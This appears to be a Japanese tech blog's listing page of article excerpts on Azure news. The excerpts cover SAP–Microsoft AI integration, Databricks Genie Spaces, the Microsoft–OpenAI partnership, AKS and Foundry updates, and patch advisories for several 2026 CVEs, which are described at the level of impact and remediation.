Azure

MicrosoftとSAPは、SAP Sapphire 2026において、Azure上でのエンタープライズAI統合を大きく前進させる「Frontier Transformation」戦略と、SAP JouleとMicrosoft製品群の連携強化を共同発表した。数十年にわたるパートナーシップの新章として、企業のAI活用を「実験」から「実運用」へと引き上げることを明確に打ち出している。 Frontier Transformationとは何か MicrosoftがSAP Sapphire 2026で掲げた「Frontier Transformation」は、エンタープライズがAI時代に生き残るための包括的な変革アプローチだ。その中核にあるのは、AIを企業システムの「上に乗せるレイヤー」ではなく、「業務の核心に組み込む基盤」として位置づける考え方である。 AIエージェントが単独で動くだけでなく、企業の業務プロセスや組織の知識体系を理解した上で継続的に学習・改善していく仕組みを、Azureのグローバルインフラ上で実現するというビジョンが示された。 Microsoft IQ：企業全体の知識を束ねる知性層 今回の発表で特に注目すべきは「Microsoft IQ」という概念だ。企業内に散在する知識・データ・業務フローを統合し、AIエージェントが「企業の文脈」を理解した上で動作できるようにする共有知性レイヤーとして定義されている。 Microsoft IQは3つの次元で構成される： 人の働き方（コラボレーション・ワークフロー）: Microsoft Teamsでの会議や共同作業から得られる文脈 業務データ（システムオブレコード）: SAPのERPや業務基幹システムが保持するリアルタイムデータ 組織知識（ポリシー・制度知識）: 社内規定や業務マニュアル、蓄積されたノウハウ この3つが共通プラットフォーム上でつながることで、AIエージェントが「どの社員が何をしていて、業務上どのようなデータが必要で、どの規則に従って判断すべきか」を一貫して理解できるようになる設計だ。 SAP JouleとMicrosoft製品群の統合 実装面での具体的な進展として、SAPのAIアシスタント「Joule」とMicrosoft製品群の連携が大幅に強化された。 Microsoft Teams: SAP Jouleとの連携により、TeamsのチャットやMeetingの文脈からERP操作・データ照会が可能に Microsoft Fabric: SAPのビジネスデータをFabricのデータ基盤に統合し、統一データ分析環境を実現 Microsoft Copilot Studio: SAPのビジネスプロセスをエージェント構築に組み込める仕組みが整備される SAP Business AI Platform: Azure OpenAIを活用した生成AIがSAP ERPの基幹業務に直接組み込まれる この統合により、ユーザーはTeamsからSAP ERPへのデータ照会・承認・発注といった業務を、アプリケーションを切り替えることなく完結できるようになる。 「Save the bAIkery」：AI実運用の体験デモ SAP Sapphire 2026の会場では、「Save the bAIkery（ベーカリーを救え）」というインタラクティブ体験が注目を集めた。架空のベーカリー経営を題材に、Azure OpenAI・SAP Cloud ERP・SAP Joule・Copilot Studio・Power BIを組み合わせ、在庫管理から需要予測・発注まで一連の意思決定をAIが支援するデモだ。 このデモの意義は技術的な派手さにあるのではなく、AIが業務の外側から助言するのではなく、業務フロー自体に組み込まれて機能しているという点にある。従来の「AIに聞いて手動で対処する」モデルから、「AIが判断し自律的に業務を進める」モデルへのシフトを、ERP領域で具体的に示した点が重要だ。 実務への影響：日本のエンタープライズが今準備すべきこと 日本企業、特にSAPを基幹システムとして運用している大手製造・流通・エネルギー企業には直接的な影響がある。 短期（〜1年）の対応: SAP S/4HANAをAzure上で運用している場合、JouleとTeams・Copilotの統合機能を段階的に試験導入できる環境が整いつつある Microsoft Fabricへのデータ統合を検討しているなら、SAP側のコネクタ整備を先行して評価する価値がある 中期（1〜3年）の組織対応: ...

Microsoft Azure Databricksの自然言語データ分析機能「Genie Spaces」が、2026年5月のアップデートにより日本・韓国リージョンでクロスジオ（地域間）処理を必要とせずに利用できるようになった。データが日本国内に留まった状態でAIによる分析が完結するため、データレジデンシー規制への対応を求める日本企業にとって、導入を検討する上での大きな障壁が一つ取り除かれた形だ。 Genie Spacesとは何か Genie Spacesは、Azure Databricks上に構築されたAI/BIコンシェルジュ機能だ。SQLやPythonを書かなくても、自然言語（英語や日本語）でデータに問い合わせると、裏側でクエリを生成してテーブルから結果を返してくれる。「先月の地域別売上を教えて」「前四半期比で成長した製品カテゴリはどれ？」といった問いかけに対し、即座に可視化を返すことができる。データエンジニアが間に入らなくても、ビジネスユーザーが直接データと対話できる点が最大の特徴だ。 従来は、日本リージョンのデータであっても推論処理に海外リージョンを経由するケースがあり、これが金融・医療・公共セクターなど規制の厳しい業種での導入ハードルになっていた。今回の対応により、データが物理的にも論理的にも日本国内に閉じた形でGenie Spacesを使えるようになる。 今回のアップデートで追加された主な機能 日本・韓国リージョン対応のほか、2026年5月のリリースでは以下の機能も追加・改善されている。 ワークスペース共通インストラクション: ワークスペース管理者が /Workspace/.genie_workspace_instructions.md ファイルを作成することで、全Genieチャットセッションに共通の指示を適用できるようになった。業種固有の用語定義や回答スタイルのガイドラインを事前に仕込める。 Atlassian・Glean MCPとの連携（パブリックプレビュー）: Genie chatからAtlassianやGleanのMCPサーバーに接続できるようになった。Confluenceのドキュメントやナレッジベースと連携しながらデータ分析を行うユースケースが現実的になる。 Genie SpaceのMetric View書き出し: Genie Spaceで構築したコンテキスト（メトリクスや定義）をMetric Viewとして書き出せるようになり、ビジネスセマンティクスの一元管理が可能になった。 ダッシュボード関連の改善: Y軸のバグ修正、マルチセレクトフィルターのUX改善、SQLエディターへの行番号表示追加など、日常的な利用で気になっていた細かい部分が着実に改善されている。 日本のIT現場への影響 日本では個人情報保護法のほか、金融庁・厚生労働省・総務省などの各省庁がデータの越境移転に関するガイドラインを整備しており、「クラウドを使いたいがデータを国外に出せない」という制約がエンタープライズ領域では依然として根強い。 Genie Spacesのジャパンリージョン対応は、こうした制約下でAIによるデータ分析を導入したい企業にとって、PoC（概念実証）から本番移行を判断するにあたっての論拠の一つになり得る。特に「データ分析のセルフサービス化」を推進したい大企業・中堅企業は、検討に値するアップデートだ。 実務での活用ポイントとしては、まず以下を押さえたい。 Unity Catalogとの組み合わせ: Genie Spacesの性能は、Unity Catalog上のデータ品質と列レベルのアクセス制御の精度に直結する。導入前にカタログ整備をセットで進めること ワークスペースインストラクションの活用: 自社固有のKPI定義や用語集をインストラクションファイルに記述しておくことで、ビジネスユーザーへの回答精度が大幅に向上する MCPサーバー連携の段階的導入: Atlassian MCPとの連携はパブリックプレビュー段階。本番利用前に動作検証の時間を十分に確保すること 筆者の見解 データレジデンシー対応は「クラウドを使えるかどうか」の問題ではなく、「どのクラウドをどう使えるか」の問題だ。今回のGenie Spacesジャパンリージョン対応は、技術的な機能追加というよりも、コンプライアンスの壁を一枚取り除く「采配」として評価したい。 Genie Spacesが面白いのは、自然言語分析という機能単体ではなく、「データエンジニアがいなくてもデータと会話できる仕組み」という方向性にある。日本のエンタープライズでは依然として、データ分析の都度SQLエンジニアにリクエストが飛ぶという非効率な構造が残っている。Genie Spacesが正しく設計・展開されれば、このボトルネックを解消する手段になり得る。 もっとも、今回の日本リージョン対応だけで導入が一気に進むとは楽観視していない。Databricks自体のライセンスコストや、Unity Catalogを適切に整備するための工数は依然として小さくない。「機能が揃ったから使える」ではなく、「データガバナンス基盤が整っているチームが、さらに使いやすくなる」というステップを踏んでいることを忘れずに取り組みたい。 正面から取り組む価値のあるアップデートではある。ただ、ツールが揃うことよりも、そのツールを活かせるデータ文化と人材をどう育てるかが、日本企業にとってより本質的な問いであることも変わらない。 出典: この記事は Azure Databricks Genie Spaces now available in-Geo for Japan and Korea の内容をもとに、筆者の見解を加えて独自に執筆したものです。

MicrosoftのAzure Arcでオンプレミスサーバーを管理する「Azure Connected Machine Agent（Arc Agent）」に、ローカル特権昇格（Local Privilege Escalation）の脆弱性CVE-2026-40381が判明した。Microsoftは修正済みバージョンを公開しており、ハイブリッドクラウド環境を運用する組織に対して速やかなパッチ適用が呼びかけられている。 Azure Connected Machine Agentとは Azure Arcは、Azureのコントロールプレーンをオンプレミスサーバーやマルチクラウド環境に拡張するサービスだ。Arc Agentはその核心となるソフトウェアで、管理対象マシンにインストールされ、AzureポータルやAzure Policy、Microsoft Defender for Serversとの通信を担う。 大規模なオンプレミス資産を持ちながらAzureへのハイブリッド移行を進める日本の企業にとって、Arc Agentは実質的に必須のコンポーネントとなっており、今回の脆弱性は見過ごせない。 CVE-2026-40381の概要 この脆弱性はローカル特権昇格（LPE）に分類される。攻撃者がすでに通常ユーザー権限でシステムにアクセスしている場合、Arc Agentの処理の不備を突いてSYSTEMまたは管理者権限への昇格が可能になる。 重要な点は、「リモートから直接悪用できる脆弱性ではない」ことだ。攻撃者はまず何らかの手段でローカルアクセスを確保している必要がある。ただし裏を返せば、フィッシング等による初期侵害後の権限昇格、あるいはインサイダー脅威のシナリオで特に威力を発揮する種類の脆弱性でもある。Arc AgentはHIGH権限で動作するコンポーネントであるため、ここが侵害されるとAzure側の管理権限まで影響が波及するリスクがある。 対応：パッチ確認と適用手順 Microsoftは修正済みバージョンのArc Agentを既にリリースしている。以下の手順で確認・更新を行うこと。 1. 現行バージョンの確認 管理対象マシン上で azcmagent version を実行し、インストール済みバージョンを確認する。 2. Azureポータルでの一括確認 Azure Arc > Servers ブレードから、エージェントバージョンが古いマシンを一覧できる。多数台を管理している場合はここから絞り込むと効率的だ。 3. エージェントの更新 WindowsはWindows Update経由またはMSIの手動インストールで更新可能。LinuxはAPT/YUMパッケージマネージャ経由で対応できる。 4. 更新後の検証 azcmagent show でバージョンと接続状態が正常であることを確認する。 実務への影響 特に注意が必要な環境を整理する。 Azureポータルからのリモート管理（SSH等）を有効にしているサーバー群: Arc Agent経由で接続経路が確立されているため、エージェントの侵害が直接影響する Microsoft Defender for Serversと連携している環境: ポリシーや検知エンジンとの通信にArc Agentが使われており、ここが信頼できない状態になると検知の信頼性にも疑問が生じる Azure AutomationやAzure Policyで自動設定管理を行っている環境: 構成の自動適用チャネルそのものが侵害の経路になりうる LPE脆弱性は「初期侵害が前提」ではあるが、それをもって「優先度が低い」と判断するのは禁物だ。現代の攻撃チェーンは複数の脆弱性の組み合わせで構成されることが多く、初期アクセスから権限昇格まではほぼ連続した一つの流れとして設計される。 筆者の見解 Azure Arcは、すべてをクラウドに移行できない企業に対して「今ある資産を管理の傘下に入れる」という現実的な選択肢を提供するサービスで、日本のIT現場には本当に必要な仕組みだと思っている。その核心にあるArc Agentのセキュリティは、基盤の信頼性を左右する意味でも徹底して管理してほしい。 ...

Microsoftは2026年5月のセキュリティ更新で、Azure Logic Appsに深刻な特権昇格脆弱性（CVE-2026-42823）が存在することを公表した。CVSSスコアは**9.9（Critical）**で、認証済みのユーザーが本来持つべきでない権限を取得できる可能性がある。 Azure Logic Appsとはどんなサービスか Azure Logic Appsは、Microsoftが提供するローコード・ノーコードのワークフロー自動化サービスだ。Microsoft 365、Salesforce、SAP、各種データベースなど数百のコネクタを備え、企業の業務自動化・システム統合に幅広く活用されている。承認フロー、データ変換、定期バッチ処理など、現代のエンタープライズITインフラを支える縁の下の力持ちとも言える存在だ。 CVE-2026-42823の概要 項目 内容 CVE番号 CVE-2026-42823 深刻度 Critical（CVSS 9.9） 脆弱性の種類 特権昇格（Elevation of Privilege） CWE CWE-284（不適切なアクセス制御） 影響サービス Azure Logic Apps 悪用状況 未確認（PoC非公開） Azure Service Health追跡ID 1P8-C0G この脆弱性の本質は「認証は通っているのに、認可が適切に検証されない」点にある。正規のアカウントでサービスにアクセスできるユーザーが、本来アクセスできないリソースや操作に到達できてしまう可能性がある。 特に危険なのは、Logic Appsが他のAzureサービスや外部システムと広範囲に連携しているという性質だ。特権昇格に成功した攻撃者は、Logic Appsを踏み台に接続先サービスへ横断的移動（ラテラルムーブメント）を行うリスクがある。 影響を受けやすい環境 以下のような環境では特にリスクが高い： マルチテナント環境でLogic Appsを運用している Logic AppsからAzure Storage・SQL Database・Key Vaultへの接続を行っている 外部SaaSとのデータ連携にLogic Appsを使っている 承認フローや人事・財務プロセスをLogic Appsで自動化している 対応方法 — クラウド版とArc版で異なる Azure Logic AppsはAzureのマネージドサービスであり、通常のオンプレミスソフトウェアのように「パッチをダウンロードして適用する」タイプの対応ではない。対応方法は利用形態によって異なる。 クラウド版Logic Apps（大半のユーザー） クラウド上で動作する標準的なLogic Appsは、Microsoftがサービスサイドで修正を適用する。ユーザーが手動でパッチを当てる必要はない。ただし、MSRCの公式アドバイザリでは「Customer action required」と記載されており、以下の確認が推奨される： Azure Service Healthで追跡ID「1P8-C0G」を確認し、案内される手順に従う Logic Appsに割り当てられたRBACロール・マネージドIDの権限を見直す（過剰な権限がないか） Azure Activity LogでLogic Appのトリガーやアクションに不審な変更がないか確認する Azure Arc-enabled Logic Apps（オンプレミス/ハイブリッド） Azure Arcを使ってオンプレミスやハイブリッド環境でLogic Appsを実行している場合は、ランタイムの手動アップデートが必要だ。Logic Appsランタイム バージョン 2026.05.10以降への更新が推奨されている。 ...

Microsoft が Microsoft Foundry の 4月アップデートを発表し、ローカル推論エンジン「Foundry Local」の正式提供（GA）や GPT-5.5 の利用開始、エージェント監視ダッシュボードなど、本番運用フェーズを見据えた機能が一気に追加された。 Foundry Local が正式提供（GA） これまでプレビューだった Foundry Local が、Windows・macOS（Apple Silicon）・Linux x64 の 3 プラットフォームで正式利用可能になった。Foundry Local はクラウドを経由せずにローカルマシン上でモデル推論を実行できる仕組みで、データをクラウドに送れない環境や、レイテンシを極限まで削減したい用途に対応する。 オンプレミス環境が多い日本の大企業にとって、「クラウドに出せないデータを使いながら AI エージェントを動かす」という需要は根強い。Foundry Local の GA は、こうした要件に対する現実解の一つとなる。 GPT-5.5 が Tier 5/6 サブスクリプションで利用可能に GPT-5 ファミリーの最新モデル GPT-5.5 が Microsoft Foundry 上で利用できるようになった。現時点では Tier 5・Tier 6 のサブスクリプションがデフォルトクォータの対象。下位ティアでの展開については今後のアナウンスを待つ形となる。 モデルの選択肢という観点では、4月アップデートでは DeepSeek V4 Flash および DeepSeek V4 Pro も新たにカタログに追加されており、コスト・性能のトレードオフに応じてモデルを使い分けられる環境が整いつつある。 エージェントのトレーサビリティが大幅強化 本番運用で最も頭を悩ませるのが「エージェントが何をしているかわからない」問題だ。今回のアップデートはここに正面から対処している。 Microsoft Agent Framework トレーシング（プレビュー） Agent Framework で構築したエージェントが OpenTelemetry トレースを Foundry に直接送出できるようになった。標準的な可観測性スタックとの統合が容易になり、既存の APM 基盤（Azure Monitor、Grafana 等）と組み合わせたデバッグが現実的になる。 ...

MicrosoftとOpenAIは2026年4月27日、締結から数年を経た戦略的パートナーシップを改定し、AzureがOpenAIの新モデルに対して他クラウドより先行してアクセスできる権利を2032年まで延長することで合意した。Windows Copilot、GitHub Copilot、Power Platformといった主要製品群へのAI供給ラインが今後6年間安定することが確定した形だ。 改定パートナーシップの4つの柱 今回の契約改定は4つの重要な条件で構成されている。 1. 2032年までのプライマリクラウドパートナー OpenAIが構築するすべてのモデル（GPT-4.5、GPT-5、およびその後継）のAPIキャパシティとファンデーションモデルのトレーニングは、引き続きAzure上で行われる。MicrosoftはOpenAIの商用APIエンドポイントを独占的にホストする権利を維持し、Google CloudやAWSが最新のOpenAIモデルをサービスとして提供することは引き続き制限される。 2. Azure優先デプロイ（例外あり） 新モデル、ファインチューニング機能、推論サービスはAzureに他クラウドより先に展開される。この「先行ウィンドウ」はほぼすべてのシナリオに適用され、AzureのエンタープライズユーザーとMicrosoftのCopilotエコシステムが実質的な先行優位を享受する。例外は限定的で、AzureがSLAで合意した容量・レイテンシ要件を満たせない場合のみ、Microsoftの同意を得て他クラウドへの展開が許可される。 3. 2032年までのIP（知的財産）ライセンス延長 MicrosoftがOpenAIの「AGI以前」の知的財産を利用できるライセンスが2032年まで延長された。これにより、Windows Copilot、GitHub Copilot、Power Platformへのモデル組み込みが再交渉なしに継続できる。また、企業向けにファインチューニングしたCopilotの派生モデルもこのライセンスに含まれ、企業カスタマイズの自由度も確保されている。 4. OpenAIの非独占的な商用展開権 今回初めて、OpenAIはAzure以外のインフラ（Oracle OCI等）にもモデルを展開・販売できるようになった。ただし、他のクラウドプロバイダーとの独占契約は明示的に禁止されており、Microsoftの競争優位は維持される。 実務への影響 この改定が日本のエンジニアやIT管理者に与える影響を整理すると次のようになる。 Azure上のサービスを使う組織は引き続き最新モデルへの優先アクセスが保証される。 AzureのOpenAI Service経由でGPT-5系のモデルを利用している場合、競合クラウドに移行せずとも最新能力が利用できるという安心感は大きい。 Microsoft Foundryを活用している組織は柔軟性がさらに広がる。 今後OpenAIが他クラウドにも展開できるようになることで、Foundryを通じて複数モデルをオーケストレーションする構成が現実的な選択肢になってくる。Azure基盤を維持しながら、OpenAI以外のモデルも含めてベストなAIを選択する自由度が高まる流れと読むべきだ。 GitHub Copilotを使う開発チームには直接のメリット。 コードアシスタントの根幹を担うモデルが継続的に最新化されることが契約レベルで担保されたことは、エンタープライズ契約でCopilot Businessを採用しているチームにとって投資継続の判断材料になる。 筆者の見解 この契約改定で改めて浮かび上がるのは、MicrosoftとOpenAIの関係が「単純な資本投資」から「インフラとエコシステムの共生関係」へと深化しているという事実だ。Microsoftが13億ドル超を投じてきた投資が、2032年という中長期の収益基盤として具体化した意義は小さくない。 一方で、この合意の真の意味はOpenAIにとっての「脱ベンダーロック」の第一歩でもある点に注目したい。他クラウドへの展開が解禁されたことで、OpenAIはMicrosoftとの交渉において対等なポジションを得た。Azureにとっては「先行アクセス」という技術的優位でユーザーを引きつけ続ける必要があり、それが結果的にAzureのサービス品質向上へのプレッシャーになるはずだ。競争が緩んだわけではなく、むしろ「選ばれ続ける理由を提供し続ける契約」と見るのが正確だろう。 Azureプラットフォームの基盤としての信頼は依然として揺るがない。Microsoft Entra IDやTeamsとの統合、エンタープライズガバナンスの成熟度は他クラウドと一線を画す。その土台の上でOpenAIをはじめとする最良のAIモデルを活用できる環境が整いつつある今、「AIが進化しすぎてどのモデルを選ぶかより、それをどう安全に組織に組み込むか」がIT担当者の本丸になっている。その意味でも、Azureという管制塔の存在価値はむしろ高まっていると感じる。 出典: この記事は Microsoft and OpenAI Amend Partnership: Azure Gets First Access to New Models Through 2032 の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Azureの上でLinuxワークロードを動かしているチームへの緊急情報だ。CVE-2026-43284が正式に公開された。Linuxカーネルのxfrm（トランスフォーム）サブシステムに存在するこの脆弱性は、IPsec ESPトンネルを使用しているAzureのマルチテナント環境において、暗号化されたはずのパケットが共有メモリバッファ経由で平文として読み取れる状態になり得るという、インパクトの大きい内容だ。該当する環境を運用しているなら、今日中に対応を始めてほしい。 この脆弱性の技術的な中身 Linuxカーネルのxfrm（IPsec Transformation）サブシステムは、IPsecによるパケットの暗号化・復号処理を担うコアコンポーネントだ。その中でもESP（Encapsulating Security Payload）は「データの機密性」を担保するプロトコルで、通信内容を暗号化してIPパケット全体をカプセル化する役割を持つ。 CVE-2026-43284は、このESP処理の過程でメモリバッファの扱いに問題があることに起因する。Azureのマルチテナント環境では、物理ホストを複数のVMが共有する構造になっているが、ESPパケットの処理中に、暗号化される前のデータ（平文）が特定の共有メモリ領域に一時的に残存する状態が作り出せてしまう。 本来であれば暗号化によって外部から読めないはずの通信内容が、共有メモリを通じて平文で見えてしまう可能性がある——これがこの脆弱性の本質だ。 影響を受けるのはどの環境か 影響を受ける可能性があるのは、以下の条件を満たすAzure環境だ： OSがLinux（WindowsVMは対象外） IPsec ESPトンネルを使用している（VPN接続、サービス間暗号化通信など） Azureのマルチテナント物理ホスト上で稼働している（一般的な仮想マシンはほぼ該当） 専有ホスト（Dedicated Host）で完全な物理分離をしている環境はリスクが異なる。ただし「うちはどうだろう」と考える前に、まずパッチを当てるのが最善だ。 実務への影響と即時対応ポイント カーネルバージョンの確認と更新 まず稼働中のVMのカーネルバージョンを確認する： 出典: この記事は CVE-2026-43284: Patch the Linux Kernel xfrm ESP Bug in Microsoft Azure の内容をもとに、筆者の見解を加えて独自に執筆したものです。

2026年5月のパッチチューズデーは、クラウド基盤を狙った深刻な脆弱性が集中した月として記録されるだろう。特に Azure Cloud Shell（CVE-2026-32169） と Azure DevOps（CVE-2026-42826） の2件が、いずれも CVSSスコア 10.0 という最高深刻度の特権昇格（EoP）脆弱性として公開された。現時点で野放し（In-the-Wild）での悪用は確認されていないが、「CVSS 10.0」という数値が示すリスクの高さは、確認を先延ばしにする理由にはならない。 今月のパッチチューズデー全体像 Microsoftは今月、自社製品の 137件のCVE に加え、サードパーティ由来の128件を含む265件近い脆弱性に対処した。そのうち 13件が「悪用の可能性が高い（Exploitation More Likely）」 に分類されており、事実上の準ゼロデイ群として扱う必要がある。 影響範囲は広く、単一製品の問題ではない： Windowsインフラ・ネットワーク層：Netlogon、DNS、Hyper-V、TCP/IP、Remote Desktop、Windows Kernel M365コラボレーション：Teams、SharePoint、Office（Word/Excel/PowerPoint） Azureサービス：Azure DevOps、Logic Apps、Cloud Shell、Machine Learning、Microsoft Entra ID 開発者・管理者ツール：SQL Server、ASP.NET Core、Visual Studio Code、Windows Admin Center CVSS 10.0の2件を最優先で処置せよ CVE-2026-32169 — Azure Cloud Shell 特権昇格 Azure Cloud Shell はブラウザから直接 Azure リソースを操作できる強力なシェル環境だ。この環境で特権昇格が成立すれば、攻撃者はサブスクリプション全体にわたるリソースを掌握できる可能性がある。クラウド管理者が日常的に使うツールだけに、影響の広がりは甚大だ。 CVE-2026-42826 — Azure DevOps 特権昇格 Azure DevOps はCI/CDパイプラインと開発者のコード管理を担うサービス。ここで特権昇格が悪用されれば、ソースコードの改ざんや悪意あるビルドパイプラインの挿入といった サプライチェーン攻撃 につながりうる。開発基盤が標的になるという性質上、被害が表面化するまでに時間がかかる点も厄介だ。 「悪用の可能性が高い」13件も見逃せない 今月注目すべき「Exploitation More Likely」の主要CVE： CVE 対象コンポーネント CVE-2026-33837 Windows TCP/IP ...

2026年5月のパッチチューズデーがリリースされた。今月は120件の脆弱性が修正され、うち29件がリモートコード実行（RCE）のクリティカル評価を受けている。幸いにも今月はゼロデイ（パッチ適用前に悪用が確認された脆弱性）は含まれていないが、DNS・Netlogon・Hyper-V・Office・SharePoint・Copilotと、攻撃対象面の広さは過去最大級だ。「ゼロデイがないから余裕」と判断するのは危険で、今月こそしっかりとした優先度判断と迅速な適用が求められる。 脆弱性の全体像 今月の修正を種別で整理すると、最も多いのが権限昇格（EoP）の61件で、全体の約半数を占める。続いてRCEが31件、情報漏洩が14件、なりすましが13件、DoSが8件、セキュリティ機能バイパスが6件となっている。 数字で語られがちなRCEより、実は権限昇格の件数が突出している点に注目してほしい。RCEは「入口」だが、EoPは「奥に進む手段」だ。攻撃者はRCEで初期侵入し、EoPで権限を拡大し、横展開する。61件というEoPの多さは、侵入後の被害拡大リスクがそれだけ高いことを示している。 今月の注目脆弱性 Windows DNS クライアントおよびNetlogon（CVE-2026-41096 / CVE-2026-41089） 過去にSigRedやZerologonが引き起こした壊滅的な被害を記憶している方も多いだろう。今月のDNSクライアントおよびNetlogonのRCEは、その類に属する「認証・名前解決スタックへの侵害」が可能な脆弱性だ。ドメイン参加環境では特に優先度を最上位に置くべきである。 Windows Hyper-V（CVE-2026-40402） クリティカル評価の権限昇格。マルチテナント環境やプライベートクラウドでは、ゲストOSからホストOSへのエスケープに使われる可能性がある。影響範囲の広さ（ブラスト半径の大きさ）を考えると、仮想化基盤を運用している企業はすぐに対応してほしい。 Microsoft Office / Word / SharePoint 複数のRCEが含まれる。特にWord文書経由の攻撃は、フィッシングメールと組み合わせることで「メールを受け取った人がファイルを開いただけで侵害される」シナリオが現実になる。日本企業でもWord・Excelは業務の中心にあるだけに、エンドユーザーへの注意喚起もセットで行いたい。 M365 Copilot / GitHub Copilot / Azure Machine Learning 今月の特筆事項のひとつが、AIツール群にも複数の修正が含まれている点だ。M365 Copilot（デスクトップ・Android版）、Visual Studio用GitHub Copilot、Azure Machine Learningノートブックにおいて、なりすましやセキュリティ機能バイパスが修正された。評価はCriticalではなくImportantだが、侮れない。これらのツールはソースコード・社内文書・チャット履歴の近くに常駐しており、攻撃者にとって「情報の宝庫への玄関口」になりうる。 Visual Studio Code VS Codeにも複数の修正（権限昇格・情報漏洩・RCE・セキュリティバイパス）が含まれる。開発者ツールは往々にして企業のセキュリティポリシーの「抜け穴」になりやすい。開発チームへのパッチ適用周知を忘れずに。 実務への影響：日本のIT管理者がやるべきこと 今週中に対応すべき最優先項目： Windows DNS・Netlogon パッチ——ドメインコントローラーおよびDNSサーバーへの適用を最優先に。ネットワーク境界に露出している環境は特に急ぐ Hyper-V 更新——仮想化基盤を持つ環境ではメンテナンスウィンドウを即日設定する Office / Word パッチ——Microsoft 365 Apps for Enterpriseは自動更新ポリシーを確認。オンプレMSIインストールはWSUSやIntuneで強制配布を SharePoint Server（オンプレ）——クラウドシフトが進んでも残存するオンプレSharePointは見落とされがち。インベントリを確認して 中期的に検討すべきこと： EoPが61件という数字は、特権アカウントの常時付与がリスクであることを改めて示している。Just-In-Time（JIT）アクセスの仕組みが整っていない環境では、このタイミングで検討を始めてほしい CopilotやVS Codeの脆弱性修正が常態化してきた。AIツールも通常のITアセットと同様に管理・パッチ適用の対象として扱う体制を整備しておく必要がある 筆者の見解 今月のパッチ一覧を眺めていて感じるのは、「攻撃対象面の広がりが止まらない」という現実だ。WindowsのDNS・Netlogon・GDIといった古くからの基盤レイヤーから、CopilotやAzure Machine LearningといったAI時代の新しいコンポーネントまで、120件という数字で一括りにされているが、その意味する攻撃面の複雑さはかつてとは比較にならない。 とりわけ気になるのがEoPの多さだ。RCEだけを警戒して「入り口を守れば十分」と考える組織はまだ多い。しかし61件のEoPが示すのは、攻撃者がすでに「侵入後の動き方」まで丁寧に研究していることだ。侵入を完全に防ぐことを前提にしたセキュリティ設計——すなわちゼロトラスト的なアーキテクチャと、特権の最小化・JIT付与——を当たり前にしていない組織は、今月の脆弱性のどれかを通じて「侵入後に気づく」未来がすぐそこにある。 もう一点。CopilotやVS Codeへの修正が毎月のように含まれるようになってきた。AIツールを業務に組み込むスピードは速いが、それをセキュリティ管理の枠組みに取り込むスピードは追いついているだろうか。「便利だから使う」と「安全に使える仕組みを作る」は車の両輪だ。禁止してもどこかで使われる。それより、正式に管理下に置いて、こういったパッチも漏れなく当たる体制を整える方が、長い目で見て健全だと思う。 ゼロデイなしという点は素直に評価したい。一方で120件という件数は、複雑化した現代のエンタープライズITが抱える構造的な課題の現れでもある。毎月のパッチ適用を「作業」として流すのではなく、「今月の脅威ランドスケープの変化」として読む習慣が、担当者の判断力を育てる。 ...

AKSの2026年4月28日リリースで、Gateway APIベースのイングレスが一般提供（GA）となった。加えて、AKS管理型GPUメトリクスがAzure Managed PrometheusとGrafanaでデフォルトサポートされるなど、クラウドネイティブ運用の現場にとって見逃せないアップデートが複数含まれている。セキュリティ修正についても緊急性が高く、すべてのAKS運用者が今すぐ対応を確認すべき内容だ。 Gateway API イングレスがGAへ——移行は急務 長らくKubernetesのイングレス管理を支えてきたIngress NGINXだが、Kubernetes SIG Networkはその引退を正式にアナウンスしており、メンテナンス終了は2026年3月とされている。AKSのアプリケーションルーティングアドオンでは、既存の本番ワークロードが2026年11月まではサポートされるが、それ以降の継続は保証されない。 代替として今回GAとなったGateway APIは、単なるイングレスの後継ではなく、より表現力の高いトラフィック管理を実現する次世代インターフェースだ。HTTPRouteやGRPCRouteなどのリソースを活用し、L4〜L7を柔軟に制御できる。特に複数チームが同一クラスターを共有するような大規模マイクロサービス環境では、その恩恵は大きい。 GAになったということは「本番環境での利用が正式に推奨される」ことを意味する。まだIngress NGINXを使い続けているチームは、今すぐ移行計画を立てるべきタイミングだ。 GPU メトリクスがデフォルト対応——AI ワークロード管理の基盤が整う AIモデルの推論・学習にGPUノードを活用しているAKSクラスターにとって、今回の変更は地味ながら実運用への影響が大きい。これまでGPUメトリクスの収集には別途設定が必要だったが、Azure Managed Prometheus + Grafana環境において、AKS管理型GPUメトリクスがデフォルトで収集・可視化されるようになった。 GPU使用率・メモリ・温度などのメトリクスが追加設定なしに確認できるようになることで、AIワークロードの安定運用と最適化が格段にやりやすくなる。コスト効率の観点からも、GPUノードの過剰・過少プロビジョニングを数値で判断できることは大きなメリットだ。 緊急対応必須：CVE-2026-31431 今リリースで最も緊急性が高いのが、Linuxカーネルのalgif_aeadモジュールにおけるローカル特権昇格の脆弱性（CVE-2026-31431）だ。 この脆弱性は深刻で、特別な権限を持たない通常のPodですら、ノード上でroot権限に昇格できてしまう。AKSのコンテナ分離モデルの根幹を揺るがす種類の問題だ。影響を受けるのはUbuntu 20.04 FIPS・22.04・24.04、およびAzure Linux 3.0で動作するノード。Azure Linux 2.0（Mariner）とWindowsノードは影響を受けない。 修正済みノードイメージバージョン（202604.13.0および202604.24.0）はグローバルに展開済みだが、既存ノードにはパッチが自動適用されない点に注意が必要だ。ノードイメージのアップグレードを手動で実施するか、すでに202604.24.0を使用しているプールはアドバイザリに記載のDaemonSetを即時適用することで対処できる。 実務への影響 Ingress NGINXユーザーへの優先アクション: 現在のイングレスリソースをインベントリ化する Gateway APIへの移行ドキュメントを確認し、テスト環境で検証 2026年11月の期限を意識した移行スケジュールを策定 GPUワークロード運用者へ: Azure Managed Prometheusを利用中であれば追加設定不要でGPUメトリクスが取得可能になる GrafanaにGPU用のダッシュボードが自動的に追加されるため、すぐに可視化環境が整う セキュリティ対応（最優先）: kubectl get nodes -o wide でノードイメージバージョンを確認 202604.13.0 より古いバージョンのノードは即時アップグレードを実施 AKSの自動ノードイメージアップグレード設定を改めて見直す 筆者の見解 Gateway APIのGAは、Kubernetesエコシステムが確実に成熟している証だと思う。Ingress NGINXは長年にわたって多くの現場を支えてきた良いプロジェクトだったが、コミュニティがより表現力の高いAPIへと軸足を移しているのは自然な流れだ。今後のイングレス管理の標準はGateway APIとなると見てよい。 Azure Managed Prometheus／GrafanaへのGPUメトリクスのデフォルト統合も、「設定しなくても動く」方向への着実な一歩だ。Azureの強みはプラットフォームとしての統合度にある。AKSを使っているのであれば、このエコシステムの統合メリットをフル活用しない手はない。 